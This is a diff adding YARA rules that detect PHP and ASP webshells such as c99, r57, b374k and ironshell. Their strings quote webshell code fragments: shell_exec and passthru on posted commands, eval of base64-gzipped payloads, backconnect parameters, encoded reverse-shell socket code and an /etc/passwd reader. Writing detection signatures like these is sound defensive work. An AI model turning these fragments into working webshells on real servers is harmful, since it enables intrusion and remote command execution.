+		hash1 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+		hash3 = "38fd7e45f9c11a37463c3ded1c76af4c"
+	strings:
+		$s0 = "if(eregi(\"./shbd $por\",$scan))"
+		$s1 = "$_POST['backconnectip']"
+		$s2 = "$_POST['backcconnmsg']"
+	condition:
+		1 of them
+}
+rule _r577_php_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "8023394542cddf8aee5dec6072ed02b5"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s1 = "if(rmdir($_POST['mk_name']))"
+		$s2 = "$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td>"
+		$s3 = "if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cell"
+	condition:
+		2 of them
+}
+rule _w_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi"
+		$s1 = "echo \"<b>Execute file:</b><form action=\\\"\".$surl.\"\\\" method=POST><inpu"
+		$s2 = "\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd"
+	condition:
+		1 of them
+}
+rule _webadmin_php_php_iMHaPFtp_php_php_Private_i3lue_php {
+	meta:
+		description = "Semi-Auto-generated  - from files webadmin.php.php.txt, iMHaPFtp.php.php.txt, Private-i3lue.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "b268e6fa3bf3fe496cffb4ea574ec4c7"
+		hash1 = "12911b73bc6a5d313b494102abcf5c57"
+		hash2 = "13f5c7a035ecce5f9f380967cf9d4e92"
+	strings:
+		$s0 = "return $type . $owner . $group . $other;" fullword
+		$s1 = "$owner  = ($mode & 00400) ? 'r' : '-';" fullword
+	condition:
+		all of them
+}
+rule multiple_php_webshells {
+	meta:
+		description = "Semi-Auto-generated  - from files multiple_php_webshells"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "be0f67f3e995517d18859ed57b4b4389"
+		hash3 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash4 = "8023394542cddf8aee5dec6072ed02b5"
+		hash5 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash6 = "817671e1bdc85e04cc3440bbd9288800"
+		hash7 = "7101fe72421402029e2629f3aaed6de7"
+		hash8 = "f618f41f7ebeb5e5076986a66593afd1"
+	strings:
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s2 = "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0"
+		$s4 = "A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg"
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+	strings:
+		$s0 = "<b>Dumped! Dump has been writed to "
+		$s1 = "if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"<TABLE st"
+		$s2 = "<input type=submit name=actarcbuff value=\\\"Pack buffer to archive"
+	condition:
+		1 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+	strings:
+		$s0 = "@ini_set(\"highlight" fullword
+		$s1 = "echo \"<b>Result of execution this PHP-code</b>:<br>\";" fullword
+		$s2 = "{$row[] = \"<b>Owner/Group</b>\";}" fullword
+	condition:
+		2 of them
+}
+rule _GFS_web_shell_ver_3_1_7___PRiV8_php_nshell_php_php_gfs_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files GFS web-shell ver 3.1.7 - PRiV8.php.txt, nshell.php.php.txt, gfs_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "be0f67f3e995517d18859ed57b4b4389"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "f618f41f7ebeb5e5076986a66593afd1"
+	strings:
+		$s2 = "echo $uname.\"</font><br><b>\";" fullword
+		$s3 = "while(!feof($f)) { $res.=fread($f,1024); }" fullword
+		$s4 = "echo \"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid()"
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "c99ftpbrutecheck"
+		$s1 = "$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);" fullword
+		$s2 = "$fqb_lenght = $nixpwdperpage;" fullword
+		$s3 = "$sock = @ftp_connect($host,$port,$timeout);" fullword
+	condition:
+		2 of them
+}
+rule _w_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash3 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "$sqlquicklaunch[] = array(\""
+		$s1 = "else {echo \"<center><b>File does not exists (\".htmlspecialchars($d.$f).\")!<"
+	condition:
+		all of them
+}
+rule _antichat_php_php_Fatalshell_php_php_a_gedit_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files antichat.php.php.txt, Fatalshell.php.php.txt, a_gedit.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "128e90b5e2df97e21e96d8e268cde7e3"
+		hash1 = "b15583f4eaad10a25ef53ab451a4a26d"
+		hash2 = "ab9c6b24ca15f4a1b7086cad78ff0f78"
+	strings:
+		$s0 = "if(@$_POST['save'])writef($file,$_POST['data']);" fullword
+		$s1 = "if($action==\"phpeval\"){" fullword
+		$s2 = "$uploadfile = $dirupload.\"/\".$_POST['filename'];" fullword
+		$s3 = "$dir=getcwd().\"/\";" fullword
+	condition:
+		2 of them
+}
+rule _c99shell_v1_0_php_php_c99php_SsEs_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+	strings:
+		$s3 = "if (!empty($delerr)) {echo \"<b>Deleting with errors:</b><br>\".$delerr;}" fullword
+	condition:
+		1 of them
+}
+rule _Crystal_php_nshell_php_php_load_shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files Crystal.php.txt, nshell.php.php.txt, load_shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "fdbf54d5bf3264eb1c4bff1fac548879"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "0c5d227f4aa76785e4760cdcff78a661"
+	strings:
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s1 = "$dires = $dires . $directory;" fullword
+		$s4 = "$arr = array_merge($arr, glob(\"*\"));" fullword
+	condition:
+		2 of them
+}
+rule _nst_php_php_cybershell_php_php_img_php_php_nstview_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, cybershell.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "ef8828e0bc0641a655de3932199c0527"
+		hash2 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash3 = "4745d510fed4378e4b1730f56f25e569"
+	strings:
+		$s0 = "@$rto=$_POST['rto'];" fullword
+		$s2 = "SCROLLBAR-TRACK-COLOR: #91AAFF" fullword
+		$s3 = "$to1=str_replace(\"//\",\"/\",$to1);" fullword
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_dC3_Security_Crew_Shell_PRiV_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, dC3 Security Crew Shell PRiV.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "433706fdc539238803fd47c4394b5109"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = " if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":"
+		$s1 = " $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\";" fullword
+	condition:
+		all of them
+}
+rule _c99shell_v1_0_php_php_c99php_1_c2007_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash3 = "d089e7168373a0634e1ac18c0ee00085"
+		hash4 = "38fd7e45f9c11a37463c3ded1c76af4c"
+	strings:
+		$s0 = "$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); " fullword
+	condition:
+		all of them
+}
+rule multiple_php_webshells_2 {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash6 = "09609851caa129e40b0d56e90dfc476c"
+		hash7 = "671cad517edd254352fe7e0c7c981c39"
+	strings:
+		$s0 = "elseif (!empty($ft)) {echo \"<center><b>Manually selected type is incorrect. I"
+		$s1 = "else {echo \"<center><b>Unknown extension (\".$ext.\"), please, select type ma"
+		$s3 = "$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";" fullword
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_1_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "if ($total === FALSE) {$total = 0;}" fullword
+		$s1 = "$free_percent = round(100/($total/$free),2);" fullword
+		$s2 = "if (!$bool) {$bool = is_dir($letter.\":\\\\\");}" fullword
+		$s3 = "$bool = $isdiskette = in_array($letter,$safemode_diskettes);" fullword
+	condition:
+		2 of them
+}
+rule _r577_php_php_r57_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s0 = "$res = mssql_query(\"select * from r57_temp_table\",$db);" fullword
+		$s2 = "'eng_text30'=>'Cat file'," fullword
+		$s3 = "@mssql_query(\"drop table r57_temp_table\",$db);" fullword
+	condition:
+		1 of them
+}
+rule _nixrem_php_php_c99shell_v1_0_php_php_c99php_NIX_REMOTE_WEB_SHELL_v_0_5_alpha_Lite_Public_Version_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nixrem.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "40a3e86a63d3d7f063a86aab5b5f92c6"
+		hash1 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash2 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash3 = "f3ca29b7999643507081caab926e2e74"
+	strings:
+		$s0 = "$num = $nixpasswd + $nixpwdperpage;" fullword
+		$s1 = "$ret = posix_kill($pid,$sig);" fullword
+		$s2 = "if ($uid) {echo join(\":\",$uid).\"<br>\";}" fullword
+		$s3 = "$i = $nixpasswd;" fullword
+	condition:
+		2 of them
+}
+
+/* GIF Header webshell */
+
+rule DarkSecurityTeam_Webshell {
+	meta:
+		description = "Dark Security Team Webshell"
+		author = "Florian Roth"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		score = 50
+	strings:
+		$s0 = "form method=post><input type=hidden name=\"\"#\"\" value=Execute(Session(\"\"#\"\"))><input name=thePath value=\"\"\"&HtmlEncode(Server.MapPath(\".\"))&" ascii
+	condition:
+		1 of them
+}
+
+rule GIFCloaked_Webshell_A {
+	meta:
+		description = "Looks like a webshell cloaked as GIF"
+		author = "Florian Roth"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		score = 50
+	strings:
+		$magic = { 47 49 46 38 } /* GIF8 ... */
+		$s0 = "input type"
+		$s1 = "<%eval request"
+		$s2 = "<%eval(Request.Item["
+		$s3 = "LANGUAGE='VBScript'"
+	condition:
+		( $magic at 0 ) and ( 1 of ($s*) )
+		and not filepath contains "AppData"
+}
+
+rule PHP_Cloaked_Webshell_SuperFetchExec {
+	meta:
+		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
+		reference = "http://goo.gl/xFvioC"
+		author = "Florian Roth"
+		score = 50
+	strings:
+		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"
+	condition:
+		$s0
+}
+
+/* PHP Webshell Update - August 2014 - deducted from https://github.com/JohnTroony/php-webshells */
+
+rule WebShell_RemExp_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file RemExp.asp.php.txt"
+		author = "Florian Roth"
+		hash = "d9919dcf94a70d5180650de8b81669fa1c10c5a2"
+	strings:
+		$s0 = "lsExt = Right(FileName, Len(FileName) - liCount)" fullword
+		$s7 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+		$s13 = "Response.Write Drive.ShareName & \" [share]\"" fullword
+		$s19 = "If Request.QueryString(\"CopyFile\") <> \"\" Then" fullword
+		$s20 = "<td width=\"40%\" height=\"20\" bgcolor=\"silver\">  Name</td>" fullword
+	condition:
+		all of them
+}
+rule WebShell_dC3_Security_Crew_Shell_PRiV {
+	meta:
+		description = "PHP Webshells Github Archive - file dC3_Security_Crew_Shell_PRiV.php"
+		author = "Florian Roth"
+		hash = "1b2a4a7174ca170b4e3a8cdf4814c92695134c8a"
+	strings:
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s4 = "$ps=str_replace(\"\\\\\",\"/\",getenv('DOCUMENT_ROOT'));" fullword
+		$s5 = "header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));" fullword
+		$s15 = "search_file($_POST['search'],urldecode($_POST['dir']));" fullword
+		$s16 = "echo base64_decode($images[$_GET['pic']]);" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_simattacker {
+	meta:
+		description = "PHP Webshells Github Archive - file simattacker.php"
+		author = "Florian Roth"
+		hash = "258297b62aeaf4650ce04642ad5f19be25ec29c9"
+	strings:
+		$s1 = "$from = rand (71,1020000000).\"@\".\"Attacker.com\";" fullword
+		$s4 = "&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br>" fullword
+		$s5 = "&nbsp;Programer : SimAttacker - Edited By KingDefacer<br>" fullword
+		$s6 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "&nbsp;e-mail : kingdefacer@msn.com<br>" fullword
+		$s17 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s18 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s20 = "$Comments=$_POST['Comments'];" fullword
+	condition:
+		2 of them
+}
+rule WebShell_DTool_Pro {
+	meta:
+		description = "PHP Webshells Github Archive - file DTool Pro.php"
+		author = "Florian Roth"
+		hash = "e2ee1c7ba7b05994f65710b7bbf935954f2c3353"
+	strings:
+		$s1 = "function PHPget(){inclVar(); if(confirm(\"O PHPget agora oferece uma lista pront"
+		$s2 = "<font size=3>by r3v3ng4ns - revengans@gmail.com </font>" fullword
+		$s3 = "function PHPwriter(){inclVar();var url=prompt(\"[ PHPwriter ] by r3v3ng4ns\\nDig"
+		$s11 = "//Turns the 'ls' command more usefull, showing it as it looks in the shell" fullword
+		$s13 = "if (@file_exists(\"/usr/bin/wget\")) $pro3=\"<i>wget</i> at /usr/bin/wget, \";" fullword
+		$s14 = "//To keep the changes in the url, when using the 'GET' way to send php variables" fullword
+		$s16 = "function PHPf(){inclVar();var o=prompt(\"[ PHPfilEditor ] by r3v3ng4ns\\nDigite "
+		$s18 = "if(empty($fu)) $fu = @$_GET['fu'];" fullword
+	condition:
+		3 of them
+}
+rule WebShell_ironshell {
+	meta:
+		description = "PHP Webshells Github Archive - file ironshell.php"
+		author = "Florian Roth"
+		hash = "d47b8ba98ea8061404defc6b3a30839c4444a262"
+	strings:
+		$s0 = "<title>'.getenv(\"HTTP_HOST\").' ~ Shell I</title>" fullword
+		$s2 = "$link = mysql_connect($_POST['host'], $_POST['username'], $_POST"
+		$s4 = "error_reporting(0); //If there is an error, we'll show it, k?" fullword
+		$s8 = "print \"<form action=\\\"\".$me.\"?p=chmod&file=\".$content.\"&d"
+		$s15 = "if(!is_numeric($_POST['timelimit']))" fullword
+		$s16 = "if($_POST['chars'] == \"9999\")" fullword
+		$s17 = "<option value=\\\"az\\\">a - zzzzz</option>" fullword
+		$s18 = "print shell_exec($command);" fullword
+	condition:
+		3 of them
+}
+rule WebShell_indexer_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file indexer.asp.php.txt"
+		author = "Florian Roth"
+		hash = "e9a7aa5eb1fb228117dc85298c7d3ecd8e288a2d"
+	strings:
+		$s0 = "<meta http-equiv=\"Content-Language\" content=\"tr\">" fullword
+		$s1 = "<title>WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer</title>" fullword
+		$s2 = "<form action=\"?Gonder\" method=\"post\">" fullword
+		$s4 = "<form action=\"?oku\" method=\"post\">" fullword
+		$s7 = "var message=\"SaNaLTeRoR - " fullword
+		$s8 = "nDexEr - Reader\"" fullword
+	condition:
+		3 of them
+}
+rule WebShell_toolaspshell {
+	meta:
+		description = "PHP Webshells Github Archive - file toolaspshell.php"
+		author = "Florian Roth"
+		hash = "11d236b0d1c2da30828ffd2f393dd4c6a1022e3f"
+	strings:
+		$s0 = "cprthtml = \"<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDef"
+		$s12 = "barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),\"\\\")) - 1" fullword
+		$s20 = "destino3 = folderItem.path & \"\\index.asp\"" fullword
+	condition:
+		2 of them
+}
+rule WebShell_b374k_mini_shell_php_php {
+	meta:
+		description = "PHP Webshells Github Archive - file b374k-mini-shell-php.php.php"
+		author = "Florian Roth"
+		hash = "afb88635fbdd9ebe86b650cc220d3012a8c35143"
+	strings:
+		$s0 = "@error_reporting(0);" fullword
+		$s2 = "@eval(gzinflate(base64_decode($code)));" fullword
+		$s3 = "@set_time_limit(0); " fullword
+	condition:
+		all of them
+}
+rule WebShell_Sincap_1_0 {
+	meta:
+		description = "PHP Webshells Github Archive - file Sincap 1.0.php"
+		author = "Florian Roth"
+		hash = "9b72635ff1410fa40c4e15513ae3a496d54f971c"
+	strings:
+		$s4 = "</font></span><a href=\"mailto:shopen@aventgrup.net\">" fullword
+		$s5 = "<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B" fullword
+		$s9 = "</span>Avrasya Veri ve NetWork Teknolojileri Geli" fullword
+		$s12 = "while (($ekinci=readdir ($sedat))){" fullword
+		$s19 = "$deger2= \"$ich[$tampon4]\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_b374k_php {
+	meta:
+		description = "PHP Webshells Github Archive - file b374k.php.php"
+		author = "Florian Roth"
+		hash = "04c99efd187cf29dc4e5603c51be44170987bce2"
+	strings:
+		$s0 = "// encrypt your password to md5 here http://kerinci.net/?x=decode" fullword
+		$s6 = "// password (default is: b374k)"
+		$s8 = "//******************************************************************************"
+		$s9 = "// b374k 2.2" fullword
+		$s10 = "eval(\"?>\".gzinflate(base64_decode("
+	condition:
+		3 of them
+}
+rule WebShell_SimAttacker___Vrsion_1_0_0___priv8_4_My_friend {
+	meta:
+		description = "PHP Webshells Github Archive - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		author = "Florian Roth"
+		hash = "6454cc5ab73143d72cf0025a81bd1fe710351b44"
+	strings:
+		$s4 = "&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>" fullword
+		$s5 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "<a style=\"TEXT-DECORATION: none\" href=\"http://www.simorgh-ev.com\">" fullword
+		$s16 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s17 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s19 = "$Comments=$_POST['Comments'];" fullword
+		$s20 = "Victim Mail :<br><input type='text' name='to' ><br>" fullword
+	condition:
+		3 of them
+}
+rule WebShell_h4ntu_shell__powered_by_tsoi_ {
+	meta:
+		description = "PHP Webshells Github Archive - file h4ntu shell [powered by tsoi].php"
+		author = "Florian Roth"
+		hash = "cbca8cd000e705357e2a7e0cf8262678706f18f9"
+	strings:
+		$s11 = "<title>h4ntu shell [powered by tsoi]</title>" fullword
+		$s13 = "$cmd = $_POST['cmd'];" fullword
+		$s16 = "$uname = posix_uname( );" fullword
+		$s17 = "if(!$whoami)$whoami=exec(\"whoami\");" fullword
+		$s18 = "echo \"<p><font size=2 face=Verdana><b>This Is The Server Information</b></font>"
+		$s20 = "ob_end_clean();" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_MyShell {
+	meta:
+		description = "PHP Webshells Github Archive - file MyShell.php"
+		author = "Florian Roth"
+		hash = "42e283c594c4d061f80a18f5ade0717d3fb2f76d"
+	strings:
+		$s3 = "<title>MyShell error - Access Denied</title>" fullword
+		$s4 = "$adminEmail = \"youremail@yourserver.com\";" fullword
+		$s5 = "//A workdir has been asked for - we chdir to that dir." fullword
+		$s6 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s13 = "#$autoErrorTrap Enable automatic error traping if command returns error." fullword
+		$s14 = "/* No work_dir - we chdir to $DOCUMENT_ROOT */" fullword
+		$s19 = "#every command you excecute." fullword
+		$s20 = "<form name=\"shell\" method=\"post\">" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_pws {
+	meta:
+		description = "PHP Webshells Github Archive - file pws.php"
+		author = "Florian Roth"
+		hash = "7a405f1c179a84ff8ac09a42177a2bcd8a1a481b"
+	strings:
+		$s6 = "if ($_POST['cmd']){" fullword
+		$s7 = "$cmd = $_POST['cmd'];" fullword
+		$s10 = "echo \"FILE UPLOADED TO $dez\";" fullword
+		$s11 = "if (file_exists($uploaded)) {" fullword
+		$s12 = "copy($uploaded, $dez);" fullword
+		$s17 = "passthru($cmd);" fullword
+	condition:
+		4 of them
+}
+rule WebShell_reader_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file reader.asp.php.txt"
+		author = "Florian Roth"
+		hash = "70656f3495e2b3ad391a77d5208eec0fb9e2d931"
+	strings:
+		$s5 = "ster\" name=submit> </Font> &nbsp; &nbsp; &nbsp; <a href=mailto:mailbomb@hotmail"
+		$s12 = " HACKING " fullword
+		$s16 = "FONT-WEIGHT: bold; BACKGROUND: #ffffff url('images/cellpic1.gif'); TEXT-INDENT: "
+		$s20 = "PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-WEIGHT: bold; FONT-SIZE: 11px; BACKG"
+	condition:
+		3 of them
+}
+rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php"
+		author = "Florian Roth"
+		hash = "db076b7c80d2a5279cab2578aa19cb18aea92832"
+	strings:
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+		$s9 = "\".htmlspecialchars($file).\" has been already loaded. PHP Emperor <xb5@hotmail."
+		$s11 = "die(\"<FONT COLOR=\\\"RED\\\"><CENTER>Sorry... File" fullword
+		$s15 = "if(empty($_GET['file'])){" fullword
